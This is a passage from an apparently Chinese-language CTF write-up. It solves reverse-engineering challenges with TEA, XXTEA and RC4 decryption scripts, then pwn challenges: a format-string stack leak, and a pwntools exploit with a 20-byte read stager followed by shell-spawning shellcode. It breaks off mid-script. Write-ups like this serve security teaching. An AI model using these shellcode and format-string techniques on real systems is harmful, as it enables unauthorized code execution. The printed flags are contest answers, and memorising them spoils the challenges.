*)&aThisisaxxteake[4 * v13]; v5 += (((v4 >> 5) ^ (4 * v6)) + ((v6 >> 3) ^ (16 * v4))) ^ ((i ^ v6) + (v14 ^ v4)); v6 += (((v5 >> 5) ^ (4 * v11)) + ((v11 >> 3) ^ (16 * v5))) ^ ((i ^ v11) + (v5 ^ *(_DWORD *)&aThisisaxxteake[4 * ((i >> 2) & 3 ^ 1)])); v11 += (((v6 >> 5) ^ (4 * v7)) + ((v7 >> 3) ^ (16 * v6))) ^ ((i ^ v7) + (v6 ^ *(_DWORD *)&aThisisaxxteake[4 * ((i >> 2) & 3 ^ 2)])); v7 += (((v11 >> 5) ^ (4 * v21)) + ((v21 >> 3) ^ (16 * v11))) ^ ((i ^ v21) + (v11 ^ *(_DWORD *)&aThisisaxxteake[4 * ((unsigned int)v13 ^ 3)])); v8 = v21 + ((((v7 >> 5) ^ (4 * v9)) + ((v9 >> 3) ^ (16 * v7))) ^ ((i ^ v9) + (v7 ^ v14))); v9 += (((v8 >> 5) ^ (4 * v10)) + ((v10 >> 3) ^ (16 * v8))) ^ ((i ^ v10) + (v8 ^ *(_DWORD *)&aThisisaxxteake[4 * ((i >> 2) & 3 ^ 1)])); v10 += (((v9 >> 5) ^ (4 * v4)) + ((v4 >> 3) ^ (16 * v9))) ^ ((i ^ v4) + (v9 ^ *(_DWORD *)&aThisisaxxteake[4 * ((i >> 2) & 3 ^ 2)])); v4 += (((v10 >> 5) ^ (4 * v5)) + ((v5 >> 3) ^ (16 * v10))) ^ ((i ^ v5) + (v10 ^ *(_DWORD *)&aThisisaxxteake[4 * ((unsigned int)v13 ^ 3)])); } *(_DWORD *)dest = v5; *(_DWORD *)&dest[4] = v6; *(_DWORD *)&dest[8] = v11; *(_DWORD *)&dest[12] = v7; *(_QWORD *)&v23 = __PAIR64__(v9, v8); *((_QWORD *)&v23 + 1) = __PAIR64__(v4, v10); v15 = 1; if ( (_BYTE)v5 == mm[0] ) { n29 = -1; while ( 1 ) { if ( dest[n29 + 2] != mm[n29 + 2] ) return v15 ^ 1; if ( n29 == 29 ) break; n0x1F = n29 + 2; v18 = dest[n29 + 3] == mm[n29 + 3]; n29 += 2; if ( !v18 ) { v19 = n0x1F < 0x1F;LABEL_10: v15 = v19; return v15 ^ 1; } } v19 = 0; goto LABEL_10; } return v15 ^ 1;}这是 FirstFragment 类中的一个 JNI 函数,名为 checkFlag,它的作用就是接收输入并加密,最后与一个预设的正确结果进行比较
先找到两个关键变量:
.rodata:0000000000000670 aThisisaxxteake db 'ThisIsAXXteaKey',0 ; DATA XREF: Java_work_pangbai_ohnativeenc_FirstFragment_checkFlag+F8↓o.rodata:0000000000000670 _rodata ends.data:0000000000003080 mm db 0B6h, 53h, 6Eh, 4Dh, 77h, 5Dh, 8, 0D2h, 0FBh, 2Ch, 63h.data:0000000000003080 ; DATA XREF: LOAD:00000000000000F8↑o.data:0000000000003080 ; LOAD:0000000000000408↑o ....data:000000000000308B db 1Eh, 0BBh, 7Bh, 1, 9Bh, 0F5h, 4, 6Ah, 0F4h, 0Eh, 84h.data:0000000000003096 db 27h, 47h, 64h, 0A1h, 0E4h, 0D9h, 0EFh, 12h, 44h, 37h.data:0000000000003096 _data ends然后丢给 AI 写脚本:
import struct def decrypt(v_orig, key): # Create a mutable copy of the data v = list(v_orig) # Algorithm parameters from the C code delta = 114514 # Loop backwards through the 12 rounds for i in range(12, 0, -1): sum_val = i * delta # Key schedule calculation for this round e = (sum_val >> 2) & 3 k0 = key[e ^ 0] k1 = key[e ^ 1] k2 = key[e ^ 2] k3 = key[e ^ 3] # These are the encrypted values at the start of this decryption round v5_new, v6_new, v11_new, v7_new, v8_new, v9_new, v10_new, v4_new = v # Reverse the cascade operation step-by-step # 1. Recover original v4 term = ((((v10_new >> 5) ^ (v5_new << 2)) + ((v5_new >> 3) ^ (v10_new << 4))) ^ ((sum_val ^ v5_new) + (k3 ^ v10_new))) v4_old = (v4_new - term) & 0xFFFFFFFF # 2. Recover original v10 term = ((((v9_new >> 5) ^ (v4_old << 2)) + ((v4_old >> 3) ^ (v9_new << 4))) ^ ((sum_val ^ v4_old) + (k2 ^ v9_new))) v10_old = (v10_new - term) & 0xFFFFFFFF # 3. Recover original v9 term = ((((v8_new >> 5) ^ (v10_old << 2)) + ((v10_old >> 3) ^ (v8_new << 4))) ^ ((sum_val ^ v10_old) + (k1 ^ v8_new))) v9_old = (v9_new - term) & 0xFFFFFFFF # 4. Recover original v8 term = ((((v7_new >> 5) ^ (v9_old << 2)) + ((v9_old >> 3) ^ (v7_new << 4))) ^ ((sum_val ^ v9_old) + (k0 ^ v7_new))) v8_old = (v8_new - term) & 0xFFFFFFFF # 5. Recover original v7 term = ((((v11_new >> 5) ^ (v8_old << 2)) + ((v8_old >> 3) ^ (v11_new << 4))) ^ ((sum_val ^ v8_old) + (k3 ^ v11_new))) v7_old = (v7_new - term) & 0xFFFFFFFF # 6. Recover original v11 term = ((((v6_new >> 5) ^ (v7_old << 2)) + ((v7_old >> 3) ^ (v6_new << 4))) ^ ((sum_val ^ v7_old) + (k2 ^ v6_new))) v11_old = (v11_new - term) & 0xFFFFFFFF # 7. Recover original v6 term = ((((v5_new >> 5) ^ (v11_old << 2)) + ((v11_old >> 3) ^ (v5_new << 4))) ^ ((sum_val ^ v11_old) + (k1 ^ v5_new))) v6_old = (v6_new - term) & 0xFFFFFFFF # 8. Recover original v5 term = ((((v4_old >> 5) ^ (v6_old << 2)) + ((v6_old >> 3) ^ (v4_old << 4))) ^ ((sum_val ^ v6_old) + (k0 ^ v4_old))) v5_old = (v5_new - term) & 0xFFFFFFFF # Update the main data block for the next round of decryption v = [v5_old, v6_old, v11_old, v7_old, v8_old, v9_old, v10_old, v4_old] return v # --- Key and Data ---key_str = b'ThisIsAXXteaKey\0'key = list(struct.unpack('<4I', key_str)) mm_bytes = bytes([ 0xB6, 0x53, 0x6E, 0x4D, 0x77, 0x5D, 0x08, 0xD2, 0xFB, 0x2C, 0x63, 0x1E, 0xBB, 0x7B, 0x01, 0x9B, 0xF5, 0x04, 0x6A, 0xF4, 0x0E, 0x84, 0x27, 0x47, 0x64, 0xA1, 0xE4, 0xD9, 0xEF, 0x12, 0x44, 0x37])v_encrypted = list(struct.unpack('<8I', mm_bytes)) # --- Execute Decryption ---decrypted_data = decrypt(v_encrypted, key) # --- Format and Print Flag ---flag = b""for d in decrypted_data: flag += struct.pack('<I', d) print(flag.decode('utf-8').strip('\x00'))FLAG
flag{Ur_G00d_@_n@tive_Func}Forgotten_Code
Challenge
在清理一台古老服务器的硬盘时,我们发现了这个来自旧时代的编程遗迹。当时的开发者喜欢与机器直接对话。我们很难直接解读它,但也许你能重新整理这份文件,让你手上的工具再次发挥作用……
【难度:中等】
.file "chal.cpp" .intel_syntax noprefix .text .section .text$_Z5scanfPKcz,"x" .linkonce discard .globl _Z5scanfPKcz .def _Z5scanfPKcz; .scl 2; .type 32; .endef .seh_proc _Z5scanfPKcz_Z5scanfPKcz:.LFB39: push rbp .seh_pushreg rbp push rbx .seh_pushreg rbx sub rsp, 56 .seh_stackalloc 56 lea rbp, 48[rsp] .seh_setframe rbp, 48 .seh_endprologue mov QWORD PTR 32[rbp], rcx mov QWORD PTR 40[rbp], rdx mov QWORD PTR 48[rbp], r8 mov QWORD PTR 56[rbp], r9 lea rax, 40[rbp] mov QWORD PTR -16[rbp], rax mov rbx, QWORD PTR -16[rbp] mov ecx, 0 mov rax, QWORD PTR __imp___acrt_iob_func[rip] call rax mov rcx, rax mov rax, QWORD PTR 32[rbp] mov r8, rbx mov rdx, rax call __mingw_vfscanf mov DWORD PTR -4[rbp], eax mov eax, DWORD PTR -4[rbp] add rsp, 56 pop rbx pop rbp ret .seh_endproc .section .text$_Z6printfPKcz,"x" .linkonce discard .globl _Z6printfPKcz .def _Z6printfPKcz; .scl 2; .type 32; .endef .seh_proc _Z6printfPKcz_Z6printfPKcz:.LFB45: push rbp .seh_pushreg rbp push rbx .seh_pushreg rbx sub rsp, 56 .seh_stackalloc 56 lea rbp, 48[rsp] .seh_setframe rbp, 48 .seh_endprologue mov QWORD PTR 32[rbp], rcx mov QWORD PTR 40[rbp], rdx mov QWORD PTR 48[rbp], r8 mov QWORD PTR 56[rbp], r9 lea rax, 40[rbp] mov QWORD PTR -16[rbp], rax mov rbx, QWORD PTR -16[rbp] mov ecx, 1 mov rax, QWORD PTR __imp___acrt_iob_func[rip] call rax mov rcx, rax mov rax, QWORD PTR 32[rbp] mov r8, rbx mov rdx, rax call __mingw_vfprintf mov DWORD PTR -4[rbp], eax mov eax, DWORD PTR -4[rbp] add rsp, 56 pop rbx pop rbp ret .seh_endproc .globl ng .data .align 16ng: .ascii "sp\177vuctp|xeb|hv~" .globl ezgm .align 32ezgm: .long 1210405119 .long 710975774 .long -90350153 .long -1958008304 .long -745722482 .long 67707510 .long -86515270 .long -1728462407 .text .globl _Z2fnPj .def _Z2fnPj; .scl 2; .type 32; .endef .seh_proc _Z2fnPj_Z2fnPj:.LFB188: push rbp .seh_pushreg rbp mov rbp, rsp .seh_setframe rbp, 0 sub rsp, 48 .seh_stackalloc 48 .seh_endprologue mov QWORD PTR 16[rbp], rcx mov DWORD PTR -4[rbp], 0 jmp .L6.L7: mov eax, DWORD PTR -4[rbp] cdqe lea rdx, ng[rip] movzx eax, BYTE PTR [rax+rdx] xor eax, 17 mov edx, DWORD PTR -4[rbp] movsx rdx, edx lea rcx, ng[rip] mov BYTE PTR [rdx+rcx], al add DWORD PTR -4[rbp], 1.L6: cmp DWORD PTR -4[rbp], 15 jle .L7 mov rax, QWORD PTR 16[rbp] mov eax, DWORD PTR [rax] mov DWORD PTR -8[rbp], eax mov rax, QWORD PTR 16[rbp] mov eax, DWORD PTR 4[rax] mov DWORD PTR -12[rbp], eax mov DWORD PTR -16[rbp], 0 mov DWORD PTR -24[rbp], -1640531527 mov DWORD PTR -20[rbp], 0 jmp .L8.L9: lea rax, ng[rip] mov eax, DWORD PTR [rax] mov DWORD PTR -28[rbp], eax mov eax, DWORD PTR ng[rip+4] mov DWORD PTR -32[rbp], eax mov eax, DWORD PTR ng[rip+8] mov DWORD PTR -36[rbp], eax mov eax, DWORD PTR ng[rip+12] mov DWORD PTR -40[rbp], eax mov eax, DWORD PTR -24[rbp] add DWORD PTR -16[rbp], eax mov eax, DWORD PTR -12[rbp] sal eax, 4 mov edx, eax mov eax, DWORD PTR -28[rbp] add edx, eax mov ecx, DWORD PTR -12[rbp] mov eax, DWORD PTR -16[rbp] add eax, ecx xor edx, eax mov eax, DWORD PTR -12[rbp] shr eax, 5 mov ecx, eax mov eax, DWORD PTR -32[rbp] add eax, ecx xor eax, edx add DWORD PTR -8[rbp], eax mov eax, DWORD PTR -8[rbp] sal eax, 4 mov edx, eax mov eax, DWORD PTR -36[rbp] add edx, eax mov ecx, DWORD PTR -8[rbp] mov eax, DWORD PTR -16[rbp] add eax, ecx xor edx, eax mov eax, DWORD PTR -8[rbp] shr eax, 5 mov ecx, eax mov eax, DWORD PTR -40[rbp] add eax, ecx xor eax, edx add DWORD PTR -12[rbp], eax add DWORD PTR -20[rbp], 1.L8: cmp DWORD PTR -20[rbp], 31 jbe .L9 mov rax, QWORD PTR 16[rbp] mov edx, DWORD PTR -8[rbp] mov DWORD PTR [rax], edx mov rax, QWORD PTR 16[rbp] add rax, 4 mov edx, DWORD PTR -12[rbp] mov DWORD PTR [rax], edx nop add rsp, 48 pop rbp ret .seh_endproc .section .rdata,"dr".LC0: .ascii "Input your flag: \0".LC1: .ascii "%s\0".LC2: .ascii "flag{\0".LC3: .ascii "Wrong length!\12\0".LC4: .ascii "Wrong flag!\12\0".LC5: .ascii "Right!\12\0".LC6: .ascii "Invalid flag format!\12\0" .text .globl main .def main; .scl 2; .type 32; .endef .seh_proc mainmain:.LFB189: push rbp .seh_pushreg rbp mov rbp, rsp .seh_setframe rbp, 0 sub rsp, 144 .seh_stackalloc 144 .seh_endprologue call __main lea rax, .LC0[rip] mov rcx, rax call _Z6printfPKcz lea rax, -112[rbp] lea rcx, .LC1[rip] mov rdx, rax call _Z5scanfPKcz lea rdx, .LC2[rip] lea rax, -112[rbp] mov r8d, 5 mov rcx, rax call strncmp test eax, eax jne .L11 lea rax, -112[rbp] mov rcx, rax call strlen sub rax, 1 movzx eax, BYTE PTR -112[rbp+rax] cmp al, 125 jne .L11 lea rax, -112[rbp] mov rcx, rax call strlen sub eax, 6 mov DWORD PTR -12[rbp], eax cmp DWORD PTR -12[rbp], 32 je .L12 lea rax, .LC3[rip] mov rcx, rax call _Z6printfPKcz mov eax, 0 jmp .L20.L12: mov DWORD PTR -4[rbp], 0 jmp .L14.L15: mov eax, DWORD PTR -4[rbp] sal eax, 3 cdqe lea rdx, 5[rax] lea rax, -112[rbp] add rax, rdx mov rcx, rax call _Z2fnPj add DWORD PTR -4[rbp], 1.L14: mov eax, DWORD PTR -12[rbp] lea edx, 7[rax] test eax, eax cmovs eax, edx sar eax, 3 cmp DWORD PTR -4[rbp], eax jl .L15 mov DWORD PTR -8[rbp], 0 jmp .L16.L18: mov eax, DWORD PTR -8[rbp] cdqe sal rax, 2 lea rdx, 5[rax] lea rax, -112[rbp] add rax, rdx mov ecx, DWORD PTR [rax] mov eax, DWORD PTR -8[rbp] cdqe lea rdx, 0[0+rax*4] lea rax, ezgm[rip] mov eax, DWORD PTR [rdx+rax] cmp ecx, eax je .L17 lea rax, .LC4[rip] mov rcx, rax call _Z6printfPKcz mov eax, 0 jmp .L20.L17: add DWORD PTR -8[rbp], 1.L16: mov eax, DWORD PTR -12[rbp] lea edx, 3[rax] test eax, eax cmovs eax, edx sar eax, 2 cmp DWORD PTR -8[rbp], eax jl .L18 lea rax, .LC5[rip] mov rcx, rax call _Z6printfPKcz jmp .L19.L11: lea rax, .LC6[rip] mov rcx, rax call _Z6printfPKcz.L19: mov eax, 0.L20: add rsp, 144 pop rbp ret .seh_endproc .def __main; .scl 2; .type 32; .endef .ident "GCC: (x86_64-posix-seh-rev0, Built by MinGW-Builds project) 15.1.0" .def __mingw_vfscanf; .scl 2; .type 32; .endef .def __mingw_vfprintf; .scl 2; .type 32; .endef .def strncmp; .scl 2; .type 32; .endef .def strlen; .scl 2; .type 32; .endefSolution
1. 核心逻辑
- 输入验证: 程序要求输入
flag{...}格式的字符串,其中{}内的内容必须为 32 字节。 - 分块加密: 程序将
{}内的 32 字节数据分为 4 个 8 字节的块。 - 加密函数: 对每个块调用加密函数
_Z2fnPj,是标准的 TEA 加密算法 - 结果比对: 将 4 个块加密后的 32 字节结果与全局数据
ezgm进行比对
2. TEA 算法参数
- 密文 (Ciphertext): 存储在
ezgm数组中 - 密钥 (Key): 密钥派生自全局变量
ng(sp\x7fvuctp|xeb|hv~)
3. 交替密钥
加密函数 _Z2fnPj 在每次被调用时都会执行以下操作:
- 读取全局变量
ng的当前值 - 将其逐字节与
17(0x11) 进行异或 - 将异或结果写回
ng,覆盖其原始内容 - 使用这个新生成的值作为 TEA 密钥
由于 main 函数连续调用 _Z2fnPj 四次,导致 ng 的状态在两个值之间来回切换:
- 第 1、3 次调用 (处理块 0, 2):
- 密钥为
sp\x7fvuctp|xeb|hv~XOR 17=bangdreamitsmygo
- 密钥为
- 第 2、4 次调用 (处理块 1, 3):
- 密钥为
bangdreamitsmygoXOR 17=sp\x7fvuctp|xeb|hv~
- 密钥为
import struct def decrypt(v, k): """TEA Decryption""" v0, v1 = v delta = 0x9E3779B9 k0, k1, k2, k3 = k sum_val = (delta * 32) & 0xFFFFFFFF for _ in range(32): v1 = (v1 - ((((v0 << 4) + k2) & 0xFFFFFFFF) ^ ((v0 + sum_val) & 0xFFFFFFFF) ^ (((v0 >> 5) + k3) & 0xFFFFFFFF))) & 0xFFFFFFFF v0 = (v0 - ((((v1 << 4) + k0) & 0xFFFFFFFF) ^ ((v1 + sum_val) & 0xFFFFFFFF) ^ (((v1 >> 5) + k1) & 0xFFFFFFFF))) & 0xFFFFFFFF sum_val = (sum_val - delta) & 0xFFFFFFFF return [v0, v1] # 密文ezgm_signed = [ 1210405119, 710975774, -90350153, -1958008304, -745722482, 67707510, -86515270, -1728462407]ezgm_unsigned = list(struct.unpack('<8I', struct.pack('<8i', *ezgm_signed))) # 交替使用的两个密钥key1_bytes = b'bangdreamitsmygo'key2_bytes = b'sp\x7fvuctp|xeb|hv~'key1 = list(struct.unpack('<4I', key1_bytes))key2 = list(struct.unpack('<4I', key2_bytes))keys = [key1, key2] # 分块解密decrypted_bytes = b""for i in range(4): current_key = keys[i % 2] block_index = i * 2 block = ezgm_unsigned[block_index : block_index + 2] decrypted_block = decrypt(block, current_key) decrypted_bytes += struct.pack('<2I', *decrypted_block) # 输出 Flagflag_content = decrypted_bytes.decode('ascii')print(f"flag{{{flag_content}}}")FLAG
flag{4553m81y_5_s0o0o0_345y_jD5yQ5mD9}Look at me carefully
Challenge
真的需要仔细看吗?
【难度:中等】
Solution
- 输入长度验证
程序首先检查用户输入的字符串长度是否为 36:
if ( &v8[strlen(v8) + 1] - &v8[1] == 36 )- 目标字符串与处理流程
程序定义了一个硬编码的目标字符串:
strcpy(cH4_1elo_ookte?0dv__alafle___5yygume, "cH4_1elo{ookte?0dv_}alafle___5yygume");该字符串长度为 36,是验证时的期望结果。
随后,程序调用 sub_4016E0 函数 38 次,每次传入用户输入 v8 和一个固定的索引(如 27、5、6、9……)。虽然调用次数为 38,但最终仅前 36 字节参与比较
因此我们只需关注前 36 次有效调用中对应输入索引 < 36 的部分,提取这些索引得到处理顺序列表:
order = [ 27, 5, 6, 9, 28, 18, 32, 29, 4, 11, 15, 17, 22, 8, 34, 16, 19, 7, 26, 35, 2, 14, 21, 0, 1, 25, 13, 23, 20, 30, 33, 10, 3, 12, 24, 31]- 函数行为分析
sub_4016E0 的作用是将 v8[a3](即 flag 的第 a3 个字符)经过一系列运算后,写入 v6 的下一个空位置(由当前 v6 长度 v5 决定)
尽管函数内部包含复杂的混淆逻辑,但关键观察如下:
- 每次调用
sub_4016E0时,v6的当前长度v5等于调用次数(从 0 开始) - 因此第
i次调用(i从 0 到 35)将结果写入v6[i] - 所有混淆操作(包括
sub_401300对内存的修改)在整体流程中 不改变输入字符与输出字节之间的一一对应关系,因为:- 混淆仅作用于
v6和v8的前几个字节 - 但
sub_4016E0每次处理的是 不同位置的输入字符 - 最终
v6的每个字节仅由 对应索引的输入字符唯一决定
- 混淆仅作用于
若假设 sub_4016E0 的净效果是恒等映射(即 v6[i] = v8[order[i]]),则重建的 flag 具有合法格式和语义,说明该假设成立。即使存在异或等简单变换,由于目标字符串已知,且变换可逆,最终仍能通过排列还原。
- 逆向重建 flag
设目标字符串为:
T = "cH4_1elo{ookte?0dv_}alafle___5yygume"根据处理顺序 order,有:
v6[0] = f(order[0]) = f(27) → 应等于 T[0] = 'c'v6[1] = f(order[1]) = f(5) → 应等于 T[1] = 'H'...v6[35] = f(order[35]) = f(31) → 应等于 T[35] = 'e'因此 flag 的第 order[i] 个字符等于 T[i]。
据此,初始化一个长度为 36 的字符数组 flag,遍历 i = 0 到 35:
flag[order[i]] = T[i]逐位填充后得到:
索引: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35字符: f l a g { H 4 v e _ y o u _ l o 0 k e d _ a t _ m e _ c 1 o 5 e l y ? }拼接后得到完整 flag:
flag{H4ve_you_lo0ked_at_me_c1o5ely?}FLAG
flag{H4ve_you_lo0ked_at_me_c1o5ely?}采一朵花,送给艾达(1)
Challenge
哎呀我手动分析得了MVP
IDA反汇编不出来,躺赢狗
【难度:中等】
Solution
1. 关键逻辑定位
-
通过函数与字符串交叉观察,确定核心逻辑在
main,涉及:- 输入读取到缓冲
Str,随后长度校验为 0x28(40) - 密钥字符串:“EasyJunkCodes”
- 初始化 RC4 状态
rc4_init,对拷贝后的输入缓冲var_430调用rc4_crypt - 将处理结果逐字节与期望数组
var_560比较,相等输出成功提示
- 输入读取到缓冲
-
main汇编关键路径(省略与流程无关的干扰指令):scanf("%s", Str)读取输入strlen(Str)->var_14,并比较var_14 == 0x28- 准备密钥指针到
"EasyJunkCodes",调用rc4_init(&var_530, key, key_len) - 将输入拷贝到工作缓冲
var_430,然后rc4_crypt(&var_530, var_430, var_14) - 循环比较:
var_430[i]与var_560[i](共40字节)
2. 期望数组 var_560 的构造来源
-
var_560由 5 个 QWORD 立即数按小端写入组成(总计40字节)。在main的常量写入序列中可见如下立即数:- 前16字节(两个 QWORD):
- qword0 = 0x1175640343C17FC7
- qword1 = 0xDF23C0F6558CB888
- 后24字节(三个 QWORD):
- 0xF2F082F69E2E0F4D
- 0xE1278329086B51BC
- 0x4E4F80B188C6BDCB
- 前16字节(两个 QWORD):
-
小端拼接说明:每个 QWORD 按低字节先的顺序展开为 8 个字节,依次连接为期望数组的 40 个元素
3. RC4 变体语义重建
-
rc4_init(两阶段):
- 填充状态 S:
S[i] = (-i) & 0xFF,i 从 0..255 - KSA-like 置换(结合密钥):
j = (S[i] + j + key[i % key_len]) & 0xFF- 交换:
swap(S[i], S[j])
- 填充状态 S:
-
rc4_crypt(PRGA变体与输出规则):
- 每字节步进:
i = (i + 1) & 0xFFj = (j + S[i]) & 0xFFswap(S[i], S[j])t = (S[i] + S[j]) & 0xFFk = S[t](当次密钥流字节)
- 输出规则(与输入相加):
cipher[i] = plain[i] + k(字节加法 mod 256)- 因而解密为:
plain[i] = (expected[i] - k) & 0xFF
- 因而解密为:
- 每字节步进:
4. 解密方法步骤
- 密钥固定为
"EasyJunkCodes";key_len 为该字符串长度 - 按 3. 的 rc4_init 与 rc4_crypt 语义生成 40 字节密钥流
keystream[0..39] - 构造
expected[0..39]:- 先将 qword0、qword1 展开并拼为前 16 字节
- 再将后三个 QWORD 展开并拼为后 24 字节
- 逐字节计算明文:
flag[i] = (expected[i] - keystream[i]) & 0xFF,i = 0..39
- 将所得字节按 ASCII 解码,即为最终输入字符串
import argparse key = b"EasyJunkCodes"key_len = len(key) def rc4_setup_and_keystream(nbytes=40): S = [0] * 256 for i in range(256): S[i] = (-i) & 0xFF j = 0 for i in range(256): a = S[i] b = key[i % key_len] j = (a + j + b) & 0xFF S[i], S[j] = S[j], S[i] keystream = [] i = 0 j = 0 for _ in range(nbytes): i = (i + 1) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] t = (S[i] + S[j]) & 0xFF k = S[t] keystream.append(k) return keystream def qword_le_bytes(x): return [(x >> (8*k)) & 0xFF for k in range(8)] def recover_flag(q0, q1): # 期望数组的五个 QWORD(小端展开) expected = ( qword_le_bytes(q0) + qword_le_bytes(q1) + qword_le_bytes(0xF2F082F69E2E0F4D) + qword_le_bytes(0xE1278329086B51BC) + qword_le_bytes(0x4E4F80B188C6BDCB) ) ks = rc4_setup_and_keystream(40) plain = [(expected[i] - ks[i]) & 0xFF for i in range(40)] return bytes(plain) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("--qword0", required=False, default="0x1175640343C17FC7") parser.add_argument("--qword1", required=False, default="0xDF23C0F6558CB888") args = parser.parse_args() q0 = int(args.qword0, 16) q1 = int(args.qword1, 16) flag_bytes = recover_flag(q0, q1) print(flag_bytes.decode("ascii", errors="replace"))FLAG
flag{Junk_C0d3s_4Re_345y_t0_rEc0gn1Ze!!}Pwn
刻在栈里的秘密
Challenge
欢迎来到 x64 位餐厅!服务员 printf 先生有点健忘,他只能记住您菜单上的前 6 道菜 (RDI, RSI, RDX…),再多就只能堆在摇摇晃晃的餐盘 (栈) 上了。更糟糕的是,他会把你写的菜单原封不动地大声念出来。你能设计一份别有用心的菜单,让他念着念着,就把秘密房间的密码念给你听吗?
【难度:简单】
Solution
现在有一个密码隐藏在栈上(•̀ᴗ• )你需要做的是通过格式化字符串来泄露这个密码o(´^`)o!m, 告诉我密码我就给你flag哦,对了对了,你还要告诉我指向这个密码的地址在此之前, 你可以了解一下各个格式化字符串的用法, 例如 %p, %s, %d, 以及 $ 符号. emmm...还有 x86-64 函数调用约定!指向密码的指针被存放在了 0x7fffb3af6fc0 中, 同时栈顶指针是 0x7fffb3af6f40 .他们之间的距离是:也就是说, 在printf之前, 格式字符串的参数看起来就像 ( *・ω・)0x7fffb3af6fc0: [?] <-- 密码在这里捏0x7fffb3af6fb8: [?]0x7fffb3af6fb0: [?]0x7fffb3af6fa8: [?]0x7fffb3af6fa0: [?]0x7fffb3af6f98: [?]0x7fffb3af6f90: [?]0x7fffb3af6f88: [?]0x7fffb3af6f80: [?]0x7fffb3af6f78: [?]0x7fffb3af6f70: [?]0x7fffb3af6f68: [?]0x7fffb3af6f60: [?]0x7fffb3af6f58: [?]0x7fffb3af6f50: [?]0x7fffb3af6f48: [?]0x7fffb3af6f40: [?]0x7fffb3af6f38: [?]0x7fffb3af6f30: [?] <-- 栈顶在这里捏R9: [?]R8: [?]RCX: [?]RDX: [?]RSI: [?]RDI: [格式化字符串]现在给你两次输入的机会, 补要输入太长的数据哦.接着我会使用printf, 用你的输入作为printf的参数.看起来就像 printf(your_input), 实际上这样是很危险的, 好孩子不要模仿^^. 来吧让我看看你的输入|20:%20$p|21:%21$p|22:%22$p|23:%23$p|24:%24$p|25:%25$p|26:%26$p|printf第 1 次启动!|20:(nil)|21:(nil)|22:(nil)|23:(nil)|24:0x7fffb3af6f70|25:(nil)|26:(nil)|再来一次 !%24$p,%24$sprintf第 2 次启动!0x7fffb3af6f70,KMXXCLGEZSDOFVE现在来验证一下密码吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码:KMXXCLGEZSDOFVE现在来验证一下密码的指针吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码:给我输入一个类似 0x114514 的 16 进制数!0x7fffb3af6f70好棒 ̋(๑˃́ꇴ˂̀๑) 给你flagflag{149eefbb-de23-4754-9333-76cb12ff0bb7}FLAG
flag{149eefbb-de23-4754-9333-76cb12ff0bb7}input_small_function
Challenge
密码的为什么能输入的字符这么少
【难度:中等】
Solution
先分析主函数:
int __fastcall main(int argc, const char **argv, const char **envp){ void *buf; init(argc, argv, envp); // 1. 在固定地址 0x114514 映射一块可读、可写、可执行(RWX)的内存 buf = mmap((void *)0x114514, 0x1000u, 7, 34, -1, 0); puts("please input a small function (also after compile)"); // 2. 从标准输入读取最多 0x14 (20) 字节到这块内存 read(0, buf, 0x14u); clear(); // 3. 将这块内存当作函数指针直接调用执行 ((void (*)(void))buf)(); return 0;}- mmap:程序在固定的、已知的地址
0x114514申请了一页内存。关键在于权限prot=7,即PROT_READ | PROT_WRITE | PROT_EXEC,这是一块可读可写可执行(RWX)的内存区域。 - read:程序向这块内存中读取用户输入,但长度被严格限制在
0x14,即20个字节。 - call:程序直接将用户输入的内容当作机器码来执行。
漏洞点在于我们可以直接向一块可执行内存写入并执行任意代码,挑战在于只有 20字节 的空间,而一个标准的 64 位 shellcode 通常需要超过20字节。
为了绕过20字节的限制可以采用分阶段加载的策略:
- 第一阶段:先发送一段极小的 “加载器” shellcode(stager),它必须小于等于20字节。这个 stager 的功能是再次调用
read系统调用,从标准输入读取一段更长的 shellcode 到0x114514这个地址。 - 第二阶段:当 stager 执行并阻塞在
read时再发送用于获取 shell 的完整 shellcode。 - 控制流转移:当第二次
read完成后,第二阶段的 shellcode 会覆盖掉第一阶段的 stager,因此,stager 必须在最后包含一条指令,将程序执行流(RIP)重新导向0x114514的开头,以确保发送的第二阶段 shellcode 能从头开始被完整执行。
1. 第一阶段:
stager 需要完成两件事:
- 执行
read(0, 0x114514, 0x50) - 跳转回
0x114514
为了将代码压缩到20字节内,构造如下汇编指令:
; 调用 read(0, 0x114514, 0x50) - 13 bytes; 使用 32 位寄存器指令可以节省字节xor eax, eax ; syscall read = 0 (2 bytes)xor edi, edi ; fd stdin = 0 (2 bytes)mov esi, 0x114514 ; buffer address (5 bytes)mov dl, 0x50 ; size to read (2 bytes)syscall ; 发起系统调用 (2 bytes) ; 跳转回缓冲区开头 - 7 bytesmov eax, 0x114514 ; 将绝对地址加载到寄存器 (5 bytes)jmp rax ; 通过寄存器间接跳转 (2 bytes)这段 shellcode 的总长度为 13 + 7 = 20 字节,正好满足题目 0x14 字节的限制。
2. 第二阶段:
使用 pwntools 的 shellcraft 模块来生成 shellcode:
stage2_shellcode = asm(shellcraft.sh())exp 如下:
# -*- coding: utf-8 -*-from pwn import * # 设置目标架构和操作系统context.arch = 'amd64'context.os = 'linux'context.log_level = 'info' HOST = '8.147.134.121'PORT = 26655BUF_ADDR = 0x114514 p = remote(HOST, PORT) # --- Stage 1 ---# 1. 调用 read(0, BUF_ADDR, 0x50) 再次读取# 2. 读取完成后,跳转回 BUF_ADDR 的开头,以执行 Stage 2 shellcodestage1_asm = f""" /* Part 1: Call read(0, BUF_ADDR, 0x50) */ xor eax, eax /* syscall read = 0 */ xor edi, edi /* fd stdin = 0 */ mov esi, {BUF_ADDR} /* buffer address */ mov dl, 0x50 /* size to read */ syscall /* Make the call */ /* Part 2: Jump back to the start of the buffer */ mov eax, {BUF_ADDR} /* Load the absolute address into eax */ jmp rax /* Jump to it */"""stage1_shellcode = asm(stage1_asm) # 检查 stager 长度log.info(f"Stage 1 (stager) shellcode: {stage1_shellcode.hex()}")log.info(f"Stage 1 (stager) shellcode length: {len(stage1_shellcode)} bytes") # 断言确保长度正确assert len(stage1_shellcode) <= 0x14, "Stage 1 shellcode is too long!"# 填充到20字节stage1_shellcode = stage1_shellcode.ljust(0x14, b'\x90') # Pad with NOPs # --- Stage 2 ---# 获取 shellstage2_shellcode = asm(shellcraft.sh())log.info(f"Stage 2 (main) shellcode length: {len(stage2_shellcode)} bytes") p.recvuntil(b"please input a small 